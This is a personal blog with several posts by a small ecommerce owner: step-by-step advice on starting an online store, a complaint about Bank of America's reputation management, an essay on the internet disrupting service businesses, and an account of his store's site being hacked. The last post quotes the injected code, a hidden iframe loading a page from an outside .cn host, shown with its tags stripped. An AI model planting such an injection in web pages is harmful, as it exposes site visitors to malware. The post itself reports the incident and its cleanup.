I enjoy learning about people’s interests, and what makes them tick. A couple years ago I became a “expert” in the ecommerce category of allexperts. At first I was going to do the category in import/export, but even still I am not an expert in international trade - my passion still is the MIX of internet, marketing, and business - which I would consider ecommerce.

It is great to hear about someone wanting to start their own online biz, and while I get a lot, this specific question posted asked me to outline the basic steps of starting an online business, which I then answered:

Answer
Hi Howard,
thanks for your question - well your question is rather open ended, and books are written about this, but i think you want a simple step by step process, here is my best shot:

1) pick a product line
normally, you want to do keyword research (http://freekeywords.wordtracker.com) and competitive analysis on this industry. But also keep in mind if its a product you want to deal with EVERY DAY, so you should have an interest in it. And even if its highly competitive, doesnt mean you can’t find a niche. Maybe you can take sneakers and target working class women who want to have a commuter style shoe.

2) wholesale / drop ship / affiliate -

will you buy your products up front (wholesale)? That may require a lot of upfront cash.  Plus you’ll have to warehouse the goods, and you or someone you gotta convince / pay to do it for you!

Drop ship is where a wholesalers allows you to resell their inventory on your own website / sales channel. Only when you get a online order, then you buy it directly from the wholesaler and they ship direct to your customer, as if it were your own shipment.

affiliate - this isn’t really ecommerce as the customers are sent to other peoples websites to buy, and you are paid a sales commission.

all of these are balanced by risk/reward in their margins. if you are wholesaling, normally you see the max profit margin but the highest risk of upfront capital outlay.

3) choose your sales channels & choose website / brand
i assume you will sell it online, via your own webshop website. But also consider multi sales channels, such as amazon and ebay. For your own webshop, choose a website domain that is catchy, but also contains keywords in the industry you’re targetting.

4) install / setup your webshop
This can be easy, or difficult. Its like anything, you can by a stock car and not customize it, or you can build your own hot rod. Depending on your budget, or your technical interest/ ability these are some choices:

prostores.com - connected to ebay, this is a scalable model as it allows you to start at $10usd/mo and work up as you grow. But I have some friends who take this website to really high levels and then have issues with customizing it

yahoo stores - another big one, i know a lot of people using it, but haven’t yet.

oscommerce / zen-cart - this is a bit on the “do it yourself” or “pay high price for technical people to do it” level. I would recommend this only if you are very advanced in ecommerce or have a big budget to pay someone to do it for you.

5) how will you collect customers money? (merchant account)
probably to start, you will just want to use paypal.com - as there aren’t any setup or monthly fees. But if you want to process a credit card, you will need a merchant account. Paypal does have one, but I would recommend a traditional one. I personally use merchantsolutionsllc.com and they have good staff and help you with questions.

6) promoting your website
this is obviously KEY - and should be in mind from the beginning. How will you tell people about your site? Internet, offline? How will you get people to buy? Online , there is advertising

(paying for it) - google.com/adwords - pay per click (doesnt mean they will buy) can be tricky, and can cost a lot of money quickly. watch closely.

organic - hit the pavement, get links to your site. get bloggers and other websites telling people to go to your site. Normally its done by daily work and passion - that is why you should be interested in your product, as this requires you promoting it daily.

social media (friends) - not as established, but getting more popular, as people recommend products/services to others.

7) warehousing / shipping - if you are stocking your products (wholesale), will you put it in your garage? rent your own warehouse? There are also businesses called “ecommerce order fulfillment” or 3rd party shipping centers that will warehouse and ship your products on your behalf, so you can focus on sales / marketing.

I hope these help, like i said at the beginning of this post, books are written about each of these points!

good luck!
Mike

Well, there was that answer. Hope my friends / blog readers get something out of this. I do have a passion for this ….but unfortunately I don’t have time to do it for everyone I know. I can give some direction / advice. And if you want to pay me enough, I can even do it for ya! Always looking to do some cross promotions or cooperations too. Love making business happen.

If you’ve been following my blog, you will see posts about my difficult experiences dealing with Bank of America as I’ve been overseas in China and Asia.  Two of specific note include:

More Bank of America Fights - International  Travel Issues

Thank You For Calling Bank of America

*Image, credit,  found from PPC for Hire blog

Now, originally when I posted about my issues, I didn’t expect to get such a strong effect in google.  but I am ranking for many terms, such as Bank of America international travel, bank america international travel, bank of america online banking issues, and international phone number, the list goes on and on as I check my server log and traffic stats.

Here’s a specific example, out of 37 million pages, this blog is #4 for Bank of America international travel.

And the blog post that is there in Google is talking about ………..PROBLEMS I AM HAVING WITH BANK OF AMERICA………

Now, why doesn’t an internet marketing person at Bank of America contact me???  Its been there for a year at least now…Reputation management must be address by these large companies.

What is reputation management?  Basically its MONITORING YOUR BRAND.  With the internet being so open, and so many people going to Google, Facebook, Twitter, and other web destinations - bloggers and people are there. Talking, discussing their customer experiences with businesses.

A good company MONITORS this.  They RESPOND to what people are complaining about,  or at the very least , address it and say its something that has to be this way for a certain reason - legal, policy, blah blah.

But, imagine for a minute - that on my blog, I receive a comment from a Bank of America marketing representatitive.   They would address the issue I have been having, explain why it is the way it is, maybe even FIX IT.  Or note it for their management meetings.

That is what is support to happen.  And the companies that are most active on SOCIAL MEDIA and responding to the blog posts, twitter messages, and facebook chats - as well as  ton of other websites - they will gain valuable connection to their customers and differentiate themselves from their competition.

I know….. BANKS, INSURANCE COMPANIES, they don’t care about their customer, the customer has to put their money somewhere, has to get insurance.  But I hope one day there is a disruptive new bank or insurance company that is more “online aware” and I see many internet people, bloggers, and younger generations will sign up

Lets see - maybe this latest post will get some attention at Bank of America.  I want to test them, I have no problem putting a note at the end of those earlier blog entries saying I am impressed Bank of America contacted me about my issue and at least explained why its the way it is (government, security, legal, policy, etc)  That would make my day.

Bet that headline caught your attention, right? well, in some way, i would have to say google…..or more appropriately the internet itself, may have destroyed the service based industry….
Why would i say something crazy like this, and secondly, is what i say really all that bad?
But if you think about things before there was internet….i remember as a little kid doing research reports for school….man those sucked! I would go to the local library and look up books. Luckily though, there was a machine you could use that categorized the books in that library and others in the city….but i usually asked for help from the librarian. She would search by topic and make a list of books. Depending on what you were searching for, the published date mattered, so only look for books a couple years old…

And then, most of the good books were checked out, on backorder, or in another location. I could have the librarian call my home when the book was delivered back, or i could go to another branch and get those books there.
This would normally take an afternoon…even a whole day….
Then, scanning the physical printed books for the information you needed, bookmarking, maybe photocopy (for a fee, of course), and take notes…..
I dont know how this worked in the corporate world, but who in the company would research a new business development, or legal matters, or any maybe new or non-core essentials for a conpany. What i remember at machine shop, barridon aircraft, is hiring a consultant to train and educate the workers…
But…today….i think this has drastically reduced……why? Because we dont need to go to the library for days, carrying books and compiling research studies, we can just “google it”. And so many times we get the research report and summary right there…..google has all those library books, as well as book reports, right there.
So in the service based industry, who sells expertise and knowledge, i am sure there are less inquiries….because everyone and every company feels they can learn it themselves, or get it done online quick, cheap and easy
Now, this is both good, and dangerous…..
Good because it allows small companies with limited funds access information quickly and compete with bigger companies who could afford the consultant expense…..
Dangerous because it makes people feel they dont need to consult with an expert in that industry….and i think most of us can admit that we have been in that situation, do-it-yourself ( DIY) before….
And then realize we made more costly mistakes then just paying a professional to do it. BUT would we have paid in the first place, or could we AFFORD to pay….so the DIY is better then ot doing it at all, right?
Some examples of more common diy with the internet and google:
* Legal - trademark, patent,
* international trade - buy from china
* fixing your house
* real estate - buying, renting
* financial services - retirement planning

“Destroying” is a bit harsh….i think the mba school class room would call it “distruptive technology”, but saying destroying is more attention grabbing.
So…..what is a service company to do? One good example is a law firm who created low cost packages of legal documents, some even free! And then if you needed serious help, the firm offered its full service…..
This reacts nicely to the disruptive technology of the internet - it says, if you cant beat em,, join em. And it gets the small biz guys startup help and outlines, and the big guys who need serious help have the full service as well
Anyway, i so many times get people asking for help, but with the internet so many of the questions can be answered quick and easy

Ouch, what a way to end a week. Late last night talking to Andrew at New York Bar Store and then he tells me about a phone call he got from a customer saying there was some spam on our site, newyorkbarstore.com. Then I take a look, view source, and a HIDDEN iframe inserted on the footer of the majority of the pages in the site! WTF!!!
=============================
HACK CODE BELOW
iframe src http://greatshopfilm . cn:8080/index.php width=184 height=158 style=”visibility: hidden” iframe
============================

I quickly start to re-upload a backup of the site I have in my computer, as it was before this hacker code was inserted on the page. Then I see its FLAGGED ON google results. Luckily the rankings have not been affected, but as you can see below - THERE IS A WARNING on the top of the page that my site may be have harmful viruses! I can only imagine that this is going to do to my site traffic…..

I have fixed the problem, and resubmitted to Google Webmaster tools, lets see how long this takes to be removed from the google results…I’m told from 1 friend this happened to him before, and it took 2 - 3 days!

Also, I’m doing a virus scan on my computer right now, and it found a trojan virus in my TENCENT QQ instant messenger files. Must have been downloaded in a chatlog. This business of hacking has been picking up, I’ve been hearing and reading that blackhat SEO people are hacking sites, pumping them with malicious codes to benefit themselves (not exactly sure though)

Is this in response to the tough economy, and people finding ways to earn cash the evil way….sad….

I also hope none of my website visitors on newyorkbarstore.com were affected. The internet can be a scary place. I understand google and the search engines have to protect their users, its just horrible this scumbags can hack my site and place this malicious code there.

Keep on.